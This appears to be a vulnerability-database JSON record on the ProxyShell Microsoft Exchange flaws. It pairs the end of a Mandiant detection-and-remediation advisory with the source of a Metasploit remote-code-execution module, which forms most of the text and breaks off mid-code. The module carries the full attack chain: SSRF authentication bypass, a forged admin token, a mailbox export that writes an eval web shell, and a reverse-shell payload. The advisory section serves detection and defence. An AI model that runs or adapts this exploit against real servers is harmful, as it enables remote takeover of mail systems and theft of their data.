w3wp\n * Cmdlet is \u2018New-ManagementRoleAssignment\u2019 or \u2018New-MailboxExportRequest\u2019\n * Mandiant has observed the \u2018CmdletInfra\\Powershell-Proxy\\Cmdlet\u2019 logs recording remote cmdlets and their parameters even when regular PowerShell ScriptBlock/transcription/module logging is not enabled.\n * Mandiant recommends review of these logs on presently or previously vulnerable servers even in cases where no web shell is identified, since attackers may execute any PowerShell cmdlet, utilizing only part of the exploit chain.\n * Examine the \u2018Data\u2019 field in the Audit logs stored under \u2018\\Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\LocalQueue\\Exchange\\\\*\u2019. This field contains JSON data with the Operation Key value containing the executed PowerShell cmdlets.\n\n#### Creation or Use of Web Shells\n\n * Monitor or identify .ASPX files created under the path inetpub\\wwwroot\\aspnet_client written by SYSTEM.\n * Monitor or identify PST files (by header \u2018!BDN\u2019 / 0x2142444E) with web file extensions (commonly .ASPX). These files may be written by MSMailboxReplication.exe or w3wp.exe (the latter can be the result of replication events due to the exploitation of a different Exchange server in the same cluster).\n * Monitor or identify files created by MSMailboxReplication.exe with extensions other than .PST (this binary is used by the New-MailboxExportRequest PowerShell cmdlet).\n * Monitor or identify arbitrary commands spawned by the process w3wp.exe.\n * Monitor or investigate the \u2018MSExchange Management\u2019 Event logs (EID: 1 and EID: 6) to identify \u2018New-MailboxExportRequest\u2019 requests with .ASPX extensions, indicative of a web shell creation attempt.\n\nAdditional attempted or successful exploitation may be identified by analyzing network and IIS logs looking for HTTP requests matching some of the patterns described in this report.\n\n * Requests against /autodiscover/autodiscover.json containing \u2018powershell\u2019, \u2018mapi/nspi\u2019, \u2018mapi/emsmdb\u2019, \u2018/EWS\u2019 or \u2018X-Rps-CAT'.\n * Status codes 200, 301, or 302 indicating successful exploitation.\n * Status codes 400, 401, or 404 indicating attempted exploitation.\n\n#### Prevention and Remediation\n\nMandiant advises all organizations to apply patches [KB5003435](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-may-11-2021-kb5003435-028bd051-b2f1-4310-8f35-c41c9ce5a2f1>) (CVE-2021-31207) and [KB5001779](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-april-13-2021-kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef064>) (CVE-2021-34473 and CVE-2021-34523) to vulnerable on-premises Microsoft Exchange servers to mitigate these vulnerabilities being exploited. To verify the current version of on-premises Microsoft Exchange running within an organization, reference this [Microsoft resource](<https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates>).\n\nIf an organization is not able to immediately apply the patches, inbound TCP/80 and TCP/443 traffic to on-premises Exchange servers should be explicitly blocked from the Internet.\n\nAdditionally, Mandiant recommends organizations review their detection and response capabilities, especially on public-facing infrastructure, including:\n\n * Deploying and configuring a File Integrity Monitoring solution to monitor and/or prevent the creation of files, especially on web servers outside of maintenance windows\n * Deploying, configuring, and monitoring an Endpoint Detection and Response solution to alert to and respond to malicious activity effectively\n * Enabling enhanced logging and implementing sufficient log retention periods to support investigations, including:\n * Microsoft Systems Monitor (Sysmon) on Windows Servers\n * PowerShell Module, Script Block, and Transcription Logging\n\n#### Detecting the Techniques\n\n**Product**\n\n| \n\n**Signature** \n \n---|--- \n \nFireEye Endpoint Security\n\n| \n\n * PST FILEWRITE WITH ASP EXTENSION (METHODOLOGY)\n * W3WP.EXE CHILD PROCESS RECON COMMAND (METHODOLOGY)\n * WMICEXEC (FAMILY) \n \nFireEye Network Security\n\n| \n\n * Exploit.PY.ProxyShell\n * Microsoft Exchange CVE-2021-34473 Remote Code Execution\n * FE_Microsoft Exchange CVE-2021-34473 Remote Code Execution \n \nFireEye Email Security\n\nFireEye Detection On Demand\n\nFireEye Malware File Scanning\n\nFireEye Malware File Storage Scanning\n\n| \n\n * FEC_Exploit_PY_ProxyShell\n * FE_Hunting_PSTWithEmbeddedWebShell\n * FE_Exploit_PY_ProxyShell \n \nFireEye Helix\n\n| \n\n * MICROSOFT EXCHANGE [ProxyShell Exploit Attempt]\n * MICROSOFT EXCHANGE [ProxyShell Exploit Success]\n * MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) - Mailbox Export]\n * MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) - Certificate Request Export] \n \n#### Mandiant Security Validation Action\n\nOrganizations can validate their security controls using the following actions with Mandiant Security Validation.\n\n**VID**\n\n| \n\n**Name** \n \n---|--- \n \nA101-827\n\n| \n\nApplication Vulnerability - CVE-2021- 34473, ProxyShell Vulnerability Check \n \nA101-829\n\n| \n\nApplication Vulnerability - ProxyShell, Exploitation \n \nA101-839\n\n| \n\nMalicious File Transfer - ProxyShell WebShell, Download \n \n#### Malware Definitions\n\n##### BLUEBEAM\n\nBLUEBEAM (aka. Godzilla) is a publicly available web shell management tool written in JAVA. BLUEBEAM can generate web shell payloads in JSP, ASP[.]NET, and PHP, it also supports AES encryption.\n\nBLUEBEAM contains 20 built-in modules that provide features such as loading additional web shells into memory, shell execution, mimikatz, meterpreter, file compression, and privilege escalation.\n\n##### HTRAN\n\nHTRAN is a publicly available tunneler written in C/C++ that serves as a proxy between two endpoints specified via command line arguments.\n\n##### EARTHWORM\n\nEARTHWORM is a publicly available tunneler utility. It is capable of establishing a tunnel to a SOCKS v5 server and is supported on the following operating systems: Linux, MacOS, and Arm-Linux.\n\n##### CHINACHOP\n\nThe CHOPPER web shell is a simple code injection web shell that is capable of executing Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with webserver account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.\n\nFor more detailed analysis, see our blog post on the China Chopper web shell.\n\n#### Acknowledgements\n\nAlex Pennino, Andrew Rector, Harris Ansari and Yash Gupta\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-03T10:00:00", "type": "fireeye", "title": "PST, Want a Shell? ProxyShell Exploiting Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-09-03T10:00:00", "id": "FIREEYE:FC60CAB5C936FF70E94A7C9307805695", "href": "https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2023-08-07T09:12:52", "description": "This Metasploit module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication, impersonate an arbitrary user, and write an arbitrary file to achieve remote code execution. By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 versions before 15.0.1497.15, Exchange 2016 CU19 versions before 15.1.2176.12, Exchange 2016 CU20 versions before 15.1.2242.5, Exchange 2019 CU8 versions before 15.2.792.13, and Exchange 2019 CU9 versions before 15.2.858.9.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-21T00:00:00", "type": "zdt", "title": "Microsoft Exchange ProxyShell Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-21T00:00:00", "id": "1337DAY-ID-36667", "href": "https://0day.today/exploit/description/36667", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'winrm'\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyShell RCE',\n 'Description' => %q{\n This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an\n arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,\n Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,\n Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Discovery\n 'Jang (@testanull)', # Vulnerability analysis\n 'PeterJson', # Vulnerability analysis\n 'brandonshi123', # Vulnerability analysis\n 'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template\n 'Spencer McIntyre', # Metasploit module\n 'wvu' # Testing\n ],\n 'References' => [\n [ 'CVE', '2021-34473' ],\n [ 'CVE', '2021-34523' ],\n [ 'CVE', '2021-31207' ],\n [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],\n [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],\n [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]\n ],\n 'DisclosureDate' => '2021-04-06', # pwn2own 2021\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyShell'],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'A known email address for this organization']),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),\n ])\n\n register_advanced_options([\n OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),\n OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])\n ])\n end\n\n def check\n @ssrf_email ||= Faker::Internet.email\n res = send_http('GET', '/mapi/nspi/')\n return CheckCode::Unknown if res.nil?\n return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'\n\n CheckCode::Vulnerable\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def request_autodiscover(_server_name)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n '/autodiscover/autodiscover.xml',\n data: soap_autodiscover,\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n { server: server, legacy_dn: legacy_dn }\n end\n\n def request_fqdn\n ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n received = send_request_raw(\n 'method' => 'RPC_IN_DATA',\n 'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n 'headers' => {\n 'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n }\n )\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n hash = received['WWW-Authenticate'].split('NTLM ')[1]\n message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n end\n\n fail_with(Failure::NotFound, 'No Backend server was found')\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(_server_name, legacy_dn)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n '/mapi/emsmdb',\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response&.code == 200\n sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def run_cve_2021_34473\n if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n server_name = datastore['BackendServerName']\n print_status(\"Internal server name forced to: #{server_name}\")\n else\n print_status('Retrieving backend FQDN over RPC request')\n server_name = request_fqdn\n print_status(\"Internal server name: #{server_name}\")\n end\n @backend_server_name = server_name\n\n # get information via an autodiscover request.\n print_status('Sending autodiscover request')\n autodiscover = request_autodiscover(server_name)\n\n print_status(\"Server: #{autodiscover[:server]}\")\n print_status(\"LegacyDN: #{autodiscover[:legacy_dn]}\")\n\n # get the user UID using mapi request.\n print_status('Sending mapi request')\n mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])\n print_status(\"SID: #{mailbox_user_sid} (#{datastore['EMAIL']})\")\n\n send_payload(mailbox_user_sid)\n @common_access_token = build_token(mailbox_user_sid)\n end\n\n def send_http(method, uri, opts = {})\n ssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n unless opts[:cookie] == :none\n opts[:cookie] = \"Email=#{ssrf}\"\n end\n\n request = {\n 'method' => method,\n 'uri' => \"/#{ssrf}#{uri}\",\n 'agent' => datastore['UserAgent'],\n 'ctype' => opts[:ctype],\n 'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }\n }\n request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?\n request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?\n request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?\n\n received = send_request_cgi(request)\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def send_payload(user_sid)\n @shell_input_name = rand_text_alphanumeric(8..12)\n @draft_subject = rand_text_alphanumeric(8..12)\n payload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\"))\n file_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\"\n envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)\n\n send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n end\n\n def soap_autodiscover\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n SOAP\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n datastore['IISWritePath'].gsub('\\\\', '/')\n else\n datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n end\n\n def build_token(sid)\n uint8_tlv = proc do |type, value|\n type + [value.length].pack('C') + value\n end\n\n token = uint8_tlv.call('V', \"\\x00\")\n token << uint8_tlv.call('T', 'Windows')\n token << \"\\x43\\x00\"\n token << uint8_tlv.call('A', 'Kerberos')\n token << uint8_tlv.call('L', datastore['EMAIL'])\n token << uint8_tlv.call('U', sid)\n\n # group data for S-1-5-32-544\n token << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\"\n Rex::Text.encode_base64(token)\n end\n\n def execute_powershell(cmdlet, args: [])\n winrm = SSRFWinRMConnection.new({\n endpoint: full_uri('PowerShell/'),\n transport: :ssrf,\n ssrf_proc: proc do |method, uri, opts|\n uri = \"#{uri}?X-Rps-CAT=#{@common_access_token}\"\n uri << \"&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n opts[:cookie] = :none\n opts[:data].gsub!(\n %r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},\n \"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>\"\n )\n opts[:data].gsub!(\n %r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand=\"true\">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},\n \"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>\"\n )\n send_http(method, uri, opts)\n end\n })\n\n winrm.shell(:powershell) do |shell|\n shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)\n shell.extend(SSRFWinRMConnection::PowerShell)\n shell.run({ cmdlet: cmdlet, args: args })\n end\n end\n\n def exploit\n @ssrf_email ||= Faker::Internet.email\n print_status('Attempt to exploit for CVE-2021-34473')\n run_cve_2021_34473\n\n powershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\", cookie: :none)\n fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200\n\n print_status('Assigning the \\'Mailbox Import Export\\' role')\n execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])\n\n @shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\"\n if datastore['UseAlternatePath']\n unc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n else\n unc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n end\n\n normal_path = unc_path.gsub(/^\\\\+127\\.0\\.0\\.1\\\\(.)\\$\\\\/, '\\1:\\\\')\n print_status(\"Writing to: #{normal_path}\")\n register_file_for_cleanup(normal_path)\n\n @export_name = rand_text_alphanumeric(8..12)\n execute_powershell('New-MailboxExportRequest', args: [\n { name: '-Name', value: @export_name },\n { name: '-Mailbox', value: datastore['EMAIL'] },\n { name: '-IncludeFolders', value: '#Drafts#' },\n { name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" },\n { name: '-ExcludeDumpster' },\n { name: '-FilePath', value: unc_path }\n ])\n\n print_status('Waiting for the export request to complete...')\n 30.times do\n if execute_command('whoami')&.code == 200\n print_good('The mailbox export request has completed')\n break\n end\n sleep 5\n end\n\n print_status('Triggering the payload')\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n boundary = rand_text_alphanumeric(8..12)\n response = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\")\n\n print_warning('Dumping command output in response')\n if response.body =~ /START#{boundary}(.*)END#{boundary}/m\n print_line(Regexp.last_match(1).strip)\n else\n print_error('Empty response, no command output')\n end\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\n def cleanup\n super\n return unless @common_access_token && @export_name\n\n print_status('Removing the mailbox export request')\n execute_powershell('Remove-MailboxExportRequest', args: [\n { name: '-Identity', value: \"#{datastore['EMAIL']}\\\\#{@export_name}\" },\n { name: '-Confirm', value: false }\n ])\n end\n\n def execute_command(cmd, _opts = {})\n if !cmd_windows_generic?\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\"\n else\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n end\n\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @shell_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@shell_input_name}=#{cmd}\"\n )\n end\nend\n\nclass PstEncoding\n ENCODE_TABLE = [\n 71, 241, 180, 230, 11, 106, 114, 72,\n 133, 78, 158, 235, 226, 248, 148, 83,\n 224, 187, 160, 2, 232, 90, 9, 171,\n 219, 227, 186, 198, 124, 195, 16, 221,\n 57, 5, 150, 48, 245, 55, 96, 130,\n 140, 201, 19, 74, 107, 29, 243, 251,\n 143, 38, 151, 202, 145, 23, 1, 196,\n 50, 45, 110, 49, 149, 255, 217, 35,\n 209, 0, 94, 121, 220, 68, 59, 26,\n 40, 197, 97, 87, 32, 144, 61, 131,\n 185, 67, 190, 103, 210, 70, 66, 118,\n 192, 109, 91, 126, 178, 15, 22, 41,\n 60, 169, 3, 84, 13, 218, 93, 223,\n 246, 183, 199, 98, 205, 141, 6, 211,\n 105, 92, 134, 214, 20, 247, 165, 102,\n 117, 172, 177, 233, 69, 33, 112, 12,\n 135, 159, 116, 164, 34, 76, 111, 191,\n 31, 86, 170, 46, 179, 120, 51, 80,\n 176, 163, 146, 188, 207, 25, 28, 167,\n 99, 203, 30, 77, 62, 75, 27, 155,\n 79, 231, 240, 238, 173, 58, 181, 89,\n 4, 234, 64, 85, 37, 81, 229, 122,\n 137, 56, 104, 82, 123, 252, 39, 174,\n 215, 189, 250, 7, 244, 204, 142, 95,\n 239, 53, 156, 132, 43, 21, 213, 119,\n 52, 73, 182, 18, 10, 127, 113, 136,\n 253, 157, 24, 65, 125, 147, 216, 88,\n 44, 206, 254, 36, 175, 222, 184, 54,\n 200, 161, 128, 166, 153, 152, 168, 47,\n 14, 129, 101, 115, 228, 194, 162, 138,\n 212, 225, 17, 208, 8, 139, 42, 242,\n 237, 154, 100, 63, 193, 108, 249, 236\n ].freeze\n\n def self.encode(data)\n encoded = ''\n data.each_char do |char|\n encoded << ENCODE_TABLE[char.ord].chr\n end\n encoded\n end\nend\n\nclass XMLTemplate\n def self.render(template_name, context = nil)\n file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', \"#{template_name}.xml.erb\")\n template = ::File.binread(file_path)\n case context\n when Hash\n b = binding\n locals = context.collect { |k, _| \"#{k} = context[#{k.inspect}]; \" }\n b.eval(locals.join)\n else\n raise ArgumentError\n end\n b.eval(Erubi::Engine.new(template).src)\n end\nend\n\nclass SSRFWinRMConnection < WinRM::Connection\n class MessageFactory < WinRM::PSRP::MessageFactory\n def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)\n WinRM::PSRP::Message.new(\n runspace_pool_id,\n WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],\n XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),\n pipeline_id\n )\n end\n end\n\n # we have to define this class so we can define our own transport factory that provides one backed by the SSRF\n # vulnerability\n class TransportFactory < WinRM::HTTP::TransportFactory\n class HttpSsrf < WinRM::HTTP::HttpTransport\n # rubocop:disable 